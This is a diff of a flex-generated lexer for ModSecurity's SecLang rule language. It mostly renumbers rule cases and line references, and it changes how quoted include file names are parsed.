"seclang-scanner.ll" +#line 1095 "seclang-scanner.ll" { return p::make_FREE_TEXT_QUOTE_MACRO_EXPANSION(yytext, *driver.loc.back()); } YY_BREAK -case 438: -/* rule 438 can match eol */ +case 449: +/* rule 449 can match eol */ YY_RULE_SETUP -#line 1060 "seclang-scanner.ll" +#line 1097 "seclang-scanner.ll" { BEGIN_PREVIOUS(); yyless(yyleng - 1); return p::make_DICT_ELEMENT_REGEXP(std::string(yytext, 1, yyleng-2), *driver.loc.back()); } YY_BREAK -case 439: -/* rule 439 can match eol */ +case 450: +/* rule 450 can match eol */ YY_RULE_SETUP -#line 1061 "seclang-scanner.ll" +#line 1098 "seclang-scanner.ll" { BEGIN_PREVIOUS(); yyless(yyleng - 1); return p::make_DICT_ELEMENT_REGEXP(std::string(yytext, 2, yyleng-4), *driver.loc.back()); } YY_BREAK -case 440: +case 451: YY_RULE_SETUP -#line 1062 "seclang-scanner.ll" +#line 1099 "seclang-scanner.ll" { BEGIN_PREVIOUS(); yyless(0); } YY_BREAK -case 441: +case 452: YY_RULE_SETUP -#line 1063 "seclang-scanner.ll" +#line 1100 "seclang-scanner.ll" { BEGIN_PREVIOUS(); yyless(0); } YY_BREAK -case 442: +case 453: YY_RULE_SETUP -#line 1064 "seclang-scanner.ll" +#line 1101 "seclang-scanner.ll" { BEGINX(LEXING_ERROR_ACTION); yyless(0); } YY_BREAK -case 443: -/* rule 443 can match eol */ +case 454: +/* rule 454 can match eol */ YY_RULE_SETUP -#line 1069 "seclang-scanner.ll" +#line 1106 "seclang-scanner.ll" { BEGIN_PREVIOUS(); yyless(yyleng); return p::make_DICT_ELEMENT_REGEXP(std::string(yytext, 1, yyleng-2), *driver.loc.back()); } YY_BREAK -case 444: -/* rule 444 can match eol */ +case 455: +/* rule 455 can match eol */ YY_RULE_SETUP -#line 1070 "seclang-scanner.ll" +#line 1107 "seclang-scanner.ll" { BEGIN_PREVIOUS(); yyless(yyleng - 1); return p::make_DICT_ELEMENT_REGEXP(std::string(yytext, 1, yyleng-2), *driver.loc.back()); } YY_BREAK -case 445: -/* rule 445 can match eol */ +case 456: +/* rule 456 can match eol */ YY_RULE_SETUP -#line 1071 "seclang-scanner.ll" +#line 1108 "seclang-scanner.ll" { BEGIN_PREVIOUS(); yyless(yyleng - 1); return p::make_DICT_ELEMENT_REGEXP(std::string(yytext, 1, yyleng-2), *driver.loc.back()); } YY_BREAK -case 446: -/* rule 446 can match eol */ +case 457: +/* rule 457 can match eol */ YY_RULE_SETUP -#line 1072 "seclang-scanner.ll" +#line 1109 "seclang-scanner.ll" { BEGIN_PREVIOUS(); yyless(yyleng - 0); return p::make_DICT_ELEMENT_REGEXP(std::string(yytext, 2, yyleng-4), *driver.loc.back()); } YY_BREAK -case 447: -/* rule 447 can match eol */ +case 458: +/* rule 458 can match eol */ YY_RULE_SETUP -#line 1073 "seclang-scanner.ll" +#line 1110 "seclang-scanner.ll" { BEGIN_PREVIOUS(); yyless(yyleng - 1); return p::make_DICT_ELEMENT_REGEXP(std::string(yytext, 2, yyleng-4), *driver.loc.back()); } YY_BREAK -case 448: -/* rule 448 can match eol */ +case 459: +/* rule 459 can match eol */ YY_RULE_SETUP -#line 1074 "seclang-scanner.ll" +#line 1111 "seclang-scanner.ll" { BEGIN_PREVIOUS(); return p::make_DICT_ELEMENT(yytext, *driver.loc.back()); } YY_BREAK -case 449: -/* rule 449 can match eol */ +case 460: +/* rule 460 can match eol */ YY_RULE_SETUP -#line 1076 "seclang-scanner.ll" +#line 1113 "seclang-scanner.ll" { BEGIN_PREVIOUS(); yyless(yyleng - 1); return p::make_DICT_ELEMENT_REGEXP(std::string(yytext, 1, yyleng-2), *driver.loc.back()); } YY_BREAK -case 450: -/* rule 450 can match eol */ +case 461: +/* rule 461 can match eol */ YY_RULE_SETUP -#line 1077 "seclang-scanner.ll" +#line 1114 "seclang-scanner.ll" { BEGIN_PREVIOUS(); yyless(yyleng - 1); return p::make_DICT_ELEMENT_REGEXP(std::string(yytext, 2, yyleng-4), *driver.loc.back()); } YY_BREAK -case 451: +case 462: YY_RULE_SETUP -#line 1079 "seclang-scanner.ll" +#line 1116 "seclang-scanner.ll" { BEGINX(LEXING_ERROR_ACTION); yyless(0); } YY_BREAK -case 452: +case 463: YY_RULE_SETUP -#line 1080 "seclang-scanner.ll" +#line 1117 "seclang-scanner.ll" { return p::make_QUOTATION_MARK(yytext, *driver.loc.back()); } YY_BREAK -case 453: +case 464: YY_RULE_SETUP -#line 1086 "seclang-scanner.ll" +#line 1123 "seclang-scanner.ll" { BEGIN(TRANSACTION_FROM_OPERATOR_TO_ACTIONS); return p::make_OPERATOR_GEOLOOKUP(*driver.loc.back()); } YY_BREAK -case 454: +case 465: YY_RULE_SETUP -#line 1087 "seclang-scanner.ll" +#line 1124 "seclang-scanner.ll" { BEGIN(TRANSACTION_FROM_OPERATOR_TO_ACTIONS); return p::make_OPERATOR_UNCONDITIONAL_MATCH(*driver.loc.back()); } YY_BREAK -case 455: +case 466: YY_RULE_SETUP -#line 1088 "seclang-scanner.ll" +#line 1125 "seclang-scanner.ll" { BEGIN(TRANSACTION_FROM_OPERATOR_TO_ACTIONS); return p::make_OPERATOR_DETECT_SQLI(*driver.loc.back()); } YY_BREAK -case 456: +case 467: YY_RULE_SETUP -#line 1089 "seclang-scanner.ll" +#line 1126 "seclang-scanner.ll" { BEGIN(TRANSACTION_FROM_OPERATOR_TO_ACTIONS); return p::make_OPERATOR_DETECT_XSS(*driver.loc.back()); } YY_BREAK -case 457: +case 468: YY_RULE_SETUP -#line 1090 "seclang-scanner.ll" +#line 1127 "seclang-scanner.ll" { BEGIN(TRANSACTION_FROM_OPERATOR_TO_ACTIONS); return p::make_OPERATOR_VALIDATE_URL_ENCODING(*driver.loc.back()); } YY_BREAK -case 458: +case 469: YY_RULE_SETUP -#line 1091 "seclang-scanner.ll" +#line 1128 "seclang-scanner.ll" { BEGIN(TRANSACTION_FROM_OPERATOR_TO_ACTIONS); return p::make_OPERATOR_VALIDATE_UTF8_ENCODING(*driver.loc.back()); } YY_BREAK -case 459: +case 470: YY_RULE_SETUP -#line 1094 "seclang-scanner.ll" +#line 1131 "seclang-scanner.ll" { BEGIN(TRANSACTION_FROM_OPERATOR_TO_ACTIONS); return p::make_OPERATOR_GEOLOOKUP(*driver.loc.back()); } YY_BREAK -case 460: +case 471: YY_RULE_SETUP -#line 1095 "seclang-scanner.ll" +#line 1132 "seclang-scanner.ll" { BEGIN(TRANSACTION_FROM_OPERATOR_TO_ACTIONS); return p::make_OPERATOR_UNCONDITIONAL_MATCH(*driver.loc.back()); } YY_BREAK -case 461: +case 472: YY_RULE_SETUP -#line 1096 "seclang-scanner.ll" +#line 1133 "seclang-scanner.ll" { BEGIN(TRANSACTION_FROM_OPERATOR_TO_ACTIONS); return p::make_OPERATOR_DETECT_SQLI(*driver.loc.back()); } YY_BREAK -case 462: +case 473: YY_RULE_SETUP -#line 1097 "seclang-scanner.ll" +#line 1134 "seclang-scanner.ll" { BEGIN(TRANSACTION_FROM_OPERATOR_TO_ACTIONS); return p::make_OPERATOR_DETECT_XSS(*driver.loc.back()); } YY_BREAK -case 463: +case 474: YY_RULE_SETUP -#line 1098 "seclang-scanner.ll" +#line 1135 "seclang-scanner.ll" { BEGIN(TRANSACTION_FROM_OPERATOR_TO_ACTIONS); return p::make_OPERATOR_VALIDATE_URL_ENCODING(*driver.loc.back()); } YY_BREAK -case 464: +case 475: YY_RULE_SETUP -#line 1099 "seclang-scanner.ll" +#line 1136 "seclang-scanner.ll" { BEGIN(TRANSACTION_FROM_OPERATOR_TO_ACTIONS); return p::make_OPERATOR_VALIDATE_UTF8_ENCODING(*driver.loc.back()); } YY_BREAK -case 465: +case 476: YY_RULE_SETUP -#line 1103 "seclang-scanner.ll" +#line 1140 "seclang-scanner.ll" { BEGIN_PARAMETER(); return p::make_OPERATOR_WITHIN(*driver.loc.back()); } YY_BREAK -case 466: +case 477: YY_RULE_SETUP -#line 1104 "seclang-scanner.ll" +#line 1141 "seclang-scanner.ll" { BEGIN_PARAMETER(); return p::make_OPERATOR_CONTAINS_WORD(*driver.loc.back()); } YY_BREAK -case 467: +case 478: YY_RULE_SETUP -#line 1105 "seclang-scanner.ll" +#line 1142 "seclang-scanner.ll" { BEGIN_PARAMETER(); return p::make_OPERATOR_CONTAINS(*driver.loc.back()); } YY_BREAK -case 468: +case 479: YY_RULE_SETUP -#line 1106 "seclang-scanner.ll" +#line 1143 "seclang-scanner.ll" { BEGIN_PARAMETER(); return p::make_OPERATOR_ENDS_WITH(*driver.loc.back()); } YY_BREAK -case 469: +case 480: YY_RULE_SETUP -#line 1107 "seclang-scanner.ll" +#line 1144 "seclang-scanner.ll" { BEGIN_PARAMETER(); return p::make_OPERATOR_EQ(*driver.loc.back()); } YY_BREAK -case 470: +case 481: YY_RULE_SETUP -#line 1108 "seclang-scanner.ll" +#line 1145 "seclang-scanner.ll" { BEGIN_PARAMETER(); return p::make_OPERATOR_GE(*driver.loc.back()); } YY_BREAK -case 471: +case 482: YY_RULE_SETUP -#line 1109 "seclang-scanner.ll" +#line 1146 "seclang-scanner.ll" { BEGIN_PARAMETER(); return p::make_OPERATOR_GT(*driver.loc.back()); } YY_BREAK -case 472: +case 483: YY_RULE_SETUP -#line 1110 "seclang-scanner.ll" +#line 1147 "seclang-scanner.ll" { BEGIN_PARAMETER(); return p::make_OPERATOR_IP_MATCH_FROM_FILE(*driver.loc.back()); } YY_BREAK -case 473: +case 484: YY_RULE_SETUP -#line 1111 "seclang-scanner.ll" +#line 1148 "seclang-scanner.ll" { BEGIN_PARAMETER(); return p::make_OPERATOR_IP_MATCH(*driver.loc.back()); } YY_BREAK -case 474: +case 485: YY_RULE_SETUP -#line 1112 "seclang-scanner.ll" +#line 1149 "seclang-scanner.ll" { BEGIN_PARAMETER(); return p::make_OPERATOR_LE(*driver.loc.back()); } YY_BREAK -case 475: +case 486: YY_RULE_SETUP -#line 1113 "seclang-scanner.ll" +#line 1150 "seclang-scanner.ll" { BEGIN_PARAMETER(); return p::make_OPERATOR_LT(*driver.loc.back()); } YY_BREAK -case 476: +case 487: YY_RULE_SETUP -#line 1114 "seclang-scanner.ll" +#line 1151 "seclang-scanner.ll" { BEGIN_PARAMETER(); return p::make_OPERATOR_PM_FROM_FILE(*driver.loc.back()); } YY_BREAK -case 477: +case 488: YY_RULE_SETUP -#line 1115 "seclang-scanner.ll" +#line 1152 "seclang-scanner.ll" { BEGIN_PARAMETER(); return p::make_OPERATOR_PM(*driver.loc.back()); } YY_BREAK -case 478: +case 489: YY_RULE_SETUP -#line 1116 "seclang-scanner.ll" +#line 1153 "seclang-scanner.ll" { BEGIN_PARAMETER(); return p::make_OPERATOR_RBL( *driver.loc.back()); } YY_BREAK -case 479: +case 490: YY_RULE_SETUP -#line 1117 "seclang-scanner.ll" +#line 1154 "seclang-scanner.ll" { BEGIN_PARAMETER(); return p::make_OPERATOR_RX(*driver.loc.back()); } YY_BREAK -case 480: +case 491: YY_RULE_SETUP -#line 1118 "seclang-scanner.ll" +#line 1155 "seclang-scanner.ll" { BEGIN_PARAMETER(); return p::make_OPERATOR_RX_GLOBAL(*driver.loc.back()); } YY_BREAK -case 481: +case 492: YY_RULE_SETUP -#line 1119 "seclang-scanner.ll" +#line 1156 "seclang-scanner.ll" { BEGIN_PARAMETER(); return p::make_OPERATOR_STR_EQ(*driver.loc.back()); } YY_BREAK -case 482: +case 493: YY_RULE_SETUP -#line 1120 "seclang-scanner.ll" +#line 1157 "seclang-scanner.ll" { BEGIN_PARAMETER(); return p::make_OPERATOR_STR_MATCH(*driver.loc.back()); } YY_BREAK -case 483: +case 494: YY_RULE_SETUP -#line 1121 "seclang-scanner.ll" +#line 1158 "seclang-scanner.ll" { BEGIN_PARAMETER(); return p::make_OPERATOR_BEGINS_WITH(*driver.loc.back()); } YY_BREAK -case 484: +case 495: YY_RULE_SETUP -#line 1122 "seclang-scanner.ll" +#line 1159 "seclang-scanner.ll" { BEGIN_PARAMETER(); return p::make_OPERATOR_INSPECT_FILE(*driver.loc.back()); } YY_BREAK -case 485: +case 496: YY_RULE_SETUP -#line 1123 "seclang-scanner.ll" +#line 1160 "seclang-scanner.ll" { BEGIN_PARAMETER(); return p::make_OPERATOR_FUZZY_HASH(*driver.loc.back()); } YY_BREAK -case 486: +case 497: YY_RULE_SETUP -#line 1124 "seclang-scanner.ll" +#line 1161 "seclang-scanner.ll" { BEGIN_PARAMETER(); return p::make_OPERATOR_VALIDATE_BYTE_RANGE(*driver.loc.back()); } YY_BREAK -case 487: +case 498: YY_RULE_SETUP -#line 1125 "seclang-scanner.ll" +#line 1162 "seclang-scanner.ll" { BEGIN_PARAMETER(); return p::make_OPERATOR_VALIDATE_DTD(*driver.loc.back()); } YY_BREAK -case 488: +case 499: YY_RULE_SETUP -#line 1126 "seclang-scanner.ll" +#line 1163 "seclang-scanner.ll" { BEGIN_PARAMETER(); return p::make_OPERATOR_VALIDATE_HASH(*driver.loc.back()); } YY_BREAK -case 489: +case 500: YY_RULE_SETUP -#line 1127 "seclang-scanner.ll" +#line 1164 "seclang-scanner.ll" { BEGIN_PARAMETER(); return p::make_OPERATOR_VALIDATE_SCHEMA(*driver.loc.back()); } YY_BREAK -case 490: +case 501: YY_RULE_SETUP -#line 1128 "seclang-scanner.ll" +#line 1165 "seclang-scanner.ll" { BEGIN_PARAMETER(); return p::make_OPERATOR_VERIFY_CC(*driver.loc.back()); } YY_BREAK -case 491: +case 502: YY_RULE_SETUP -#line 1129 "seclang-scanner.ll" +#line 1166 "seclang-scanner.ll" { BEGIN_PARAMETER(); return p::make_OPERATOR_VERIFY_CPF(*driver.loc.back()); } YY_BREAK -case 492: +case 503: YY_RULE_SETUP -#line 1130 "seclang-scanner.ll" +#line 1167 "seclang-scanner.ll" { BEGIN_PARAMETER(); return p::make_OPERATOR_VERIFY_SSN(*driver.loc.back()); } YY_BREAK -case 493: +case 504: YY_RULE_SETUP -#line 1131 "seclang-scanner.ll" +#line 1168 "seclang-scanner.ll" { BEGIN_PARAMETER(); return p::make_OPERATOR_VERIFY_SVNR(*driver.loc.back()); } YY_BREAK -case 494: +case 505: YY_RULE_SETUP -#line 1132 "seclang-scanner.ll" +#line 1169 "seclang-scanner.ll" { BEGIN_PARAMETER(); return p::make_OPERATOR_GSB_LOOKUP(*driver.loc.back()); } YY_BREAK -case 495: +case 506: YY_RULE_SETUP -#line 1133 "seclang-scanner.ll" +#line 1170 "seclang-scanner.ll" { BEGIN_PARAMETER(); return p::make_OPERATOR_RSUB(*driver.loc.back()); } YY_BREAK -case 496: +case 507: YY_RULE_SETUP -#line 1135 "seclang-scanner.ll" +#line 1172 "seclang-scanner.ll" { return p::make_NOT(*driver.loc.back()); } YY_BREAK -case 497: +case 508: YY_RULE_SETUP -#line 1136 "seclang-scanner.ll" +#line 1173 "seclang-scanner.ll" { BEGIN_NO_OP_INFORMED(); yyless(0); } YY_BREAK -case 498: +case 509: YY_RULE_SETUP -#line 1141 "seclang-scanner.ll" +#line 1178 "seclang-scanner.ll" { BEGIN(EXPECTING_PARAMETER_ENDS_WITH_SPACE); } YY_BREAK -case 499: +case 510: YY_RULE_SETUP -#line 1145 "seclang-scanner.ll" +#line 1182 "seclang-scanner.ll" { BEGIN(EXPECTING_PARAMETER_ENDS_WITH_QUOTE); } YY_BREAK -case 500: +case 511: YY_RULE_SETUP -#line 1149 "seclang-scanner.ll" +#line 1186 "seclang-scanner.ll" { BEGIN(TRANSACTION_FROM_OPERATOR_PARAMETERS_TO_ACTIONS); } YY_BREAK -case 501: -/* rule 501 can match eol */ +case 512: +/* rule 512 can match eol */ YY_RULE_SETUP -#line 1150 "seclang-scanner.ll" +#line 1187 "seclang-scanner.ll" +{ return p::make_FREE_TEXT_QUOTE_MACRO_EXPANSION(yytext, *driver.loc.back()); } + YY_BREAK +case 513: +/* rule 513 can match eol */ +YY_RULE_SETUP +#line 1188 "seclang-scanner.ll" { return p::make_FREE_TEXT_QUOTE_MACRO_EXPANSION(yytext, *driver.loc.back()); } YY_BREAK -case 502: +case 514: YY_RULE_SETUP -#line 1154 "seclang-scanner.ll" +#line 1192 "seclang-scanner.ll" { BEGIN(TRANSACTION_FROM_OPERATOR_PARAMETERS_TO_ACTIONS); } YY_BREAK -case 503: -/* rule 503 can match eol */ +case 515: +/* rule 515 can match eol */ YY_RULE_SETUP -#line 1155 "seclang-scanner.ll" +#line 1193 "seclang-scanner.ll" { return p::make_FREE_TEXT_QUOTE_MACRO_EXPANSION(yytext, *driver.loc.back()); } YY_BREAK -case 504: +case 516: YY_RULE_SETUP -#line 1158 "seclang-scanner.ll" +#line 1196 "seclang-scanner.ll" { BEGINX(EXPECTING_ACTION_PREDICATE_VARIABLE); } YY_BREAK -case 505: +case 517: YY_RULE_SETUP -#line 1159 "seclang-scanner.ll" +#line 1197 "seclang-scanner.ll" { BEGIN(LEXING_ERROR); yyless(0); } YY_BREAK -case 506: +case 518: YY_RULE_SETUP -#line 1163 "seclang-scanner.ll" +#line 1201 "seclang-scanner.ll" { BEGIN(TRANSACTION_FROM_OPERATOR_PARAMETERS_TO_ACTIONS); } YY_BREAK -case 507: -/* rule 507 can match eol */ +case 519: +/* rule 519 can match eol */ YY_RULE_SETUP -#line 1164 "seclang-scanner.ll" +#line 1202 "seclang-scanner.ll" +{ return p::make_FREE_TEXT_QUOTE_MACRO_EXPANSION(yytext, *driver.loc.back()); } + YY_BREAK +case 520: +/* rule 520 can match eol */ +YY_RULE_SETUP +#line 1203 "seclang-scanner.ll" { return p::make_FREE_TEXT_QUOTE_MACRO_EXPANSION(yytext, *driver.loc.back()); } YY_BREAK -case 508: +case 521: YY_RULE_SETUP -#line 1168 "seclang-scanner.ll" +#line 1207 "seclang-scanner.ll" { BEGIN(TRANSACTION_FROM_OPERATOR_PARAMETERS_TO_ACTIONS); } YY_BREAK -case 509: -/* rule 509 can match eol */ +case 522: +/* rule 522 can match eol */ YY_RULE_SETUP -#line 1169 "seclang-scanner.ll" +#line 1208 "seclang-scanner.ll" { return p::make_FREE_TEXT_QUOTE_MACRO_EXPANSION(yytext, *driver.loc.back()); } YY_BREAK -case 510: +case 523: YY_RULE_SETUP -#line 1173 "seclang-scanner.ll" +#line 1212 "seclang-scanner.ll" { BEGINX(EXPECTING_ACTION_PREDICATE_VARIABLE); } YY_BREAK -case 511: +case 524: YY_RULE_SETUP -#line 1174 "seclang-scanner.ll" +#line 1213 "seclang-scanner.ll" { BEGIN(LEXING_ERROR_VARIABLE); yyless(0); } YY_BREAK -case 512: +case 525: YY_RULE_SETUP -#line 1179 "seclang-scanner.ll" +#line 1218 "seclang-scanner.ll" { BEGIN(EXPECTING_ACTIONS_ONLY_ONE); } YY_BREAK -case 513: -/* rule 513 can match eol */ +case 526: +/* rule 526 can match eol */ YY_RULE_SETUP -#line 1181 "seclang-scanner.ll" +#line 1220 "seclang-scanner.ll" { driver.loc.back()->lines(1); driver.loc.back()->step(); BEGIN(EXPECTING_ACTIONS_ENDS_WITH_DOUBLE_QUOTE); } YY_BREAK -case 514: -/* rule 514 can match eol */ +case 527: +/* rule 527 can match eol */ YY_RULE_SETUP -#line 1182 "seclang-scanner.ll" +#line 1221 "seclang-scanner.ll" { driver.loc.back()->lines(1); driver.loc.back()->step(); BEGIN(EXPECTING_ACTIONS_ENDS_WITH_DOUBLE_QUOTE); } YY_BREAK -case 515: -/* rule 515 can match eol */ +case 528: +/* rule 528 can match eol */ YY_RULE_SETUP -#line 1183 "seclang-scanner.ll" +#line 1222 "seclang-scanner.ll" { driver.loc.back()->lines(1); driver.loc.back()->step(); BEGIN(EXPECTING_ACTIONS_ONLY_ONE); } YY_BREAK -case 516: -/* rule 516 can match eol */ +case 529: +/* rule 529 can match eol */ YY_RULE_SETUP -#line 1184 "seclang-scanner.ll" +#line 1223 "seclang-scanner.ll" { driver.loc.back()->lines(1); driver.loc.back()->step(); BEGIN(EXPECTING_ACTIONS_ONLY_ONE); } YY_BREAK -case 517: -/* rule 517 can match eol */ +case 530: +/* rule 530 can match eol */ YY_RULE_SETUP -#line 1186 "seclang-scanner.ll" +#line 1225 "seclang-scanner.ll" { driver.loc.back()->lines(1); driver.loc.back()->step(); BEGIN(EXPECTING_ACTIONS_ENDS_WITH_DOUBLE_QUOTE); } YY_BREAK -case 518: -/* rule 518 can match eol */ +case 531: +/* rule 531 can match eol */ YY_RULE_SETUP -#line 1187 "seclang-scanner.ll" +#line 1226 "seclang-scanner.ll" { driver.loc.back()->lines(1); driver.loc.back()->step(); BEGIN(EXPECTING_ACTIONS_ENDS_WITH_DOUBLE_QUOTE); } YY_BREAK -case 519: -/* rule 519 can match eol */ +case 532: +/* rule 532 can match eol */ YY_RULE_SETUP -#line 1188 "seclang-scanner.ll" +#line 1227 "seclang-scanner.ll" { driver.loc.back()->lines(1); driver.loc.back()->step(); BEGIN(EXPECTING_ACTIONS_ENDS_WITH_DOUBLE_QUOTE); } YY_BREAK -case 520: -/* rule 520 can match eol */ +case 533: +/* rule 533 can match eol */ YY_RULE_SETUP -#line 1189 "seclang-scanner.ll" +#line 1228 "seclang-scanner.ll" { driver.loc.back()->lines(1); driver.loc.back()->step(); BEGIN(EXPECTING_ACTIONS_ENDS_WITH_DOUBLE_QUOTE); } YY_BREAK -case 521: -/* rule 521 can match eol */ +case 534: +/* rule 534 can match eol */ YY_RULE_SETUP -#line 1191 "seclang-scanner.ll" +#line 1230 "seclang-scanner.ll" { driver.loc.back()->lines(1); driver.loc.back()->step(); BEGIN(EXPECTING_ACTIONS_ONLY_ONE); } YY_BREAK -case 522: -/* rule 522 can match eol */ +case 535: +/* rule 535 can match eol */ YY_RULE_SETUP -#line 1192 "seclang-scanner.ll" +#line 1231 "seclang-scanner.ll" { driver.loc.back()->lines(1); driver.loc.back()->step(); BEGIN(EXPECTING_ACTIONS_ONLY_ONE); } YY_BREAK -case 523: -/* rule 523 can match eol */ +case 536: +/* rule 536 can match eol */ YY_RULE_SETUP -#line 1193 "seclang-scanner.ll" +#line 1232 "seclang-scanner.ll" { driver.loc.back()->lines(1); driver.loc.back()->step(); BEGIN(EXPECTING_ACTIONS_ONLY_ONE); } YY_BREAK -case 524: -/* rule 524 can match eol */ +case 537: +/* rule 537 can match eol */ YY_RULE_SETUP -#line 1194 "seclang-scanner.ll" +#line 1233 "seclang-scanner.ll" { driver.loc.back()->lines(1); driver.loc.back()->step(); BEGIN(EXPECTING_ACTIONS_ONLY_ONE); } YY_BREAK -case 525: +case 538: YY_RULE_SETUP -#line 1196 "seclang-scanner.ll" +#line 1235 "seclang-scanner.ll" { BEGIN(EXPECTING_ACTIONS_ENDS_WITH_DOUBLE_QUOTE); } YY_BREAK -case 526: -/* rule 526 can match eol */ +case 539: +/* rule 539 can match eol */ YY_RULE_SETUP -#line 1198 "seclang-scanner.ll" +#line 1237 "seclang-scanner.ll" { driver.loc.back()->lines(1); driver.loc.back()->step(); BEGIN(EXPECTING_ACTIONS_ENDS_WITH_DOUBLE_QUOTE); } YY_BREAK -case 527: -/* rule 527 can match eol */ +case 540: +/* rule 540 can match eol */ YY_RULE_SETUP -#line 1199 "seclang-scanner.ll" +#line 1238 "seclang-scanner.ll" { driver.loc.back()->lines(1); driver.loc.back()->step(); BEGIN(EXPECTING_ACTIONS_ENDS_WITH_DOUBLE_QUOTE); } YY_BREAK -case 528: -/* rule 528 can match eol */ +case 541: +/* rule 541 can match eol */ YY_RULE_SETUP -#line 1201 "seclang-scanner.ll" +#line 1240 "seclang-scanner.ll" { driver.loc.back()->lines(1); driver.loc.back()->step(); BEGIN(EXPECTING_ACTIONS_ENDS_WITH_DOUBLE_QUOTE); } YY_BREAK -case 529: -/* rule 529 can match eol */ +case 542: +/* rule 542 can match eol */ YY_RULE_SETUP -#line 1202 "seclang-scanner.ll" +#line 1241 "seclang-scanner.ll" { driver.loc.back()->lines(1); driver.loc.back()->step(); BEGIN(EXPECTING_ACTIONS_ENDS_WITH_DOUBLE_QUOTE); } YY_BREAK -case 530: -/* rule 530 can match eol */ +case 543: +/* rule 543 can match eol */ YY_RULE_SETUP -#line 1203 "seclang-scanner.ll" +#line 1242 "seclang-scanner.ll" { driver.loc.back()->lines(1); driver.loc.back()->step(); BEGIN(EXPECTING_ACTIONS_ENDS_WITH_DOUBLE_QUOTE); } YY_BREAK -case 531: -/* rule 531 can match eol */ +case 544: +/* rule 544 can match eol */ YY_RULE_SETUP -#line 1204 "seclang-scanner.ll" +#line 1243 "seclang-scanner.ll" { driver.loc.back()->lines(1); driver.loc.back()->step(); BEGIN(EXPECTING_ACTIONS_ENDS_WITH_DOUBLE_QUOTE); } YY_BREAK -case 532: +case 545: YY_RULE_SETUP -#line 1206 "seclang-scanner.ll" +#line 1245 "seclang-scanner.ll" { BEGIN(EXPECTING_ACTIONS_ENDS_WITH_DOUBLE_QUOTE); } YY_BREAK -case 533: +case 546: YY_RULE_SETUP -#line 1211 "seclang-scanner.ll" +#line 1250 "seclang-scanner.ll" { } YY_BREAK -case 534: -/* rule 534 can match eol */ +case 547: +/* rule 547 can match eol */ YY_RULE_SETUP -#line 1212 "seclang-scanner.ll" +#line 1251 "seclang-scanner.ll" { driver.loc.back()->lines(1); driver.loc.back()->step(); } YY_BREAK -case 535: -/* rule 535 can match eol */ +case 548: +/* rule 548 can match eol */ YY_RULE_SETUP -#line 1213 "seclang-scanner.ll" +#line 1252 "seclang-scanner.ll" { driver.loc.back()->lines(1); driver.loc.back()->step(); } YY_BREAK -case 536: -/* rule 536 can match eol */ +case 549: +/* rule 549 can match eol */ YY_RULE_SETUP -#line 1217 "seclang-scanner.ll" +#line 1256 "seclang-scanner.ll" { driver.loc.back()->lines(1); driver.loc.back()->step(); } YY_BREAK -case 537: -/* rule 537 can match eol */ +case 550: +/* rule 550 can match eol */ YY_RULE_SETUP -#line 1218 "seclang-scanner.ll" +#line 1257 "seclang-scanner.ll" { driver.loc.back()->lines(1); driver.loc.back()->step(); } YY_BREAK -case 538: -/* rule 538 can match eol */ +case 551: +/* rule 551 can match eol */ YY_RULE_SETUP -#line 1219 "seclang-scanner.ll" +#line 1258 "seclang-scanner.ll" { BEGIN(INITIAL); driver.loc.back()->lines(1); driver.loc.back()->step(); } YY_BREAK -case 539: +case 552: YY_RULE_SETUP -#line 1224 "seclang-scanner.ll" +#line 1263 "seclang-scanner.ll" { BEGIN(LEXING_ERROR); yyless(0); } YY_BREAK -case 540: +case 553: YY_RULE_SETUP -#line 1226 "seclang-scanner.ll" +#line 1265 "seclang-scanner.ll" { driver.error (*driver.loc.back(), "Invalid input: ", yytext); throw p::syntax_error(*driver.loc.back(), ""); } YY_BREAK -case 541: +case 554: YY_RULE_SETUP -#line 1227 "seclang-scanner.ll" +#line 1266 "seclang-scanner.ll" { driver.error (*driver.loc.back(), "Expecting an action, got: ", yytext); throw p::syntax_error(*driver.loc.back(), ""); } YY_BREAK -case 542: +case 555: YY_RULE_SETUP -#line 1228 "seclang-scanner.ll" +#line 1267 "seclang-scanner.ll" { driver.error (*driver.loc.back(), "Expecting a variable, got: : ", yytext); throw p::syntax_error(*driver.loc.back(), ""); } YY_BREAK case YY_STATE_EOF(INITIAL): @@ -8543,7 +8935,7 @@ case YY_STATE_EOF(SETVAR_ACTION_QUOTED): case YY_STATE_EOF(SETVAR_ACTION_QUOTED_WAITING_COLLECTION_ELEM): case YY_STATE_EOF(SETVAR_ACTION_QUOTED_WAITING_OPERATION): case YY_STATE_EOF(SETVAR_ACTION_QUOTED_WAITING_CONTENT): -#line 1231 "seclang-scanner.ll" +#line 1270 "seclang-scanner.ll" { if (yyin) { fclose(yyin); @@ -8559,9 +8951,9 @@ case YY_STATE_EOF(SETVAR_ACTION_QUOTED_WAITING_CONTENT): delete l; } YY_BREAK -case 543: +case 556: YY_RULE_SETUP -#line 1247 "seclang-scanner.ll" +#line 1286 "seclang-scanner.ll" { std::string err; const char *tmpStr = yytext + strlen("include"); @@ -8591,15 +8983,15 @@ YY_RULE_SETUP } } YY_BREAK -case 544: +case 557: YY_RULE_SETUP -#line 1276 "seclang-scanner.ll" +#line 1315 "seclang-scanner.ll" { std::string err; const char *tmpStr = yytext + strlen("include"); - const char *file = tmpStr + strspn( tmpStr, " \t"); - char *f = strdup(file); - std::string fi = modsecurity::utils::find_resource(f, *driver.loc.back()->end.filename, &err); + const char *afterWhitespace = tmpStr + strspn( tmpStr, " \t"); + std::string file(afterWhitespace+1, strlen(afterWhitespace)-2); + std::string fi = modsecurity::utils::find_resource(file, *driver.loc.back()->end.filename, &err); if (fi.empty() == true) { BEGIN(INITIAL); driver.error (*driver.loc.back(), "", file + std::string(": Not able to open file. ") + err); @@ -8622,13 +9014,12 @@ YY_RULE_SETUP } yypush_buffer_state(yy_create_buffer( yyin, YY_BUF_SIZE )); } - free(f); } YY_BREAK -case 545: -/* rule 545 can match eol */ +case 558: +/* rule 558 can match eol */ YY_RULE_SETUP -#line 1307 "seclang-scanner.ll" +#line 1345 "seclang-scanner.ll" { HttpsClient c; std::string key; @@ -8665,12 +9056,12 @@ YY_RULE_SETUP yy_scan_string(c.content.c_str()); } YY_BREAK -case 546: +case 559: YY_RULE_SETUP -#line 1344 "seclang-scanner.ll" +#line 1382 "seclang-scanner.ll" ECHO; YY_BREAK -#line 8673 "seclang-scanner.cc" +#line 9065 "seclang-scanner.cc" case YY_END_OF_BUFFER: { @@ -8989,7 +9380,7 @@ static int yy_get_next_buffer (void) while ( yy_chk[yy_base[yy_current_state] + yy_c] != yy_current_state ) { yy_current_state = (int) yy_def[yy_current_state]; - if ( yy_current_state >= 3994 ) + if ( yy_current_state >= 4155 ) yy_c = yy_meta[yy_c]; } 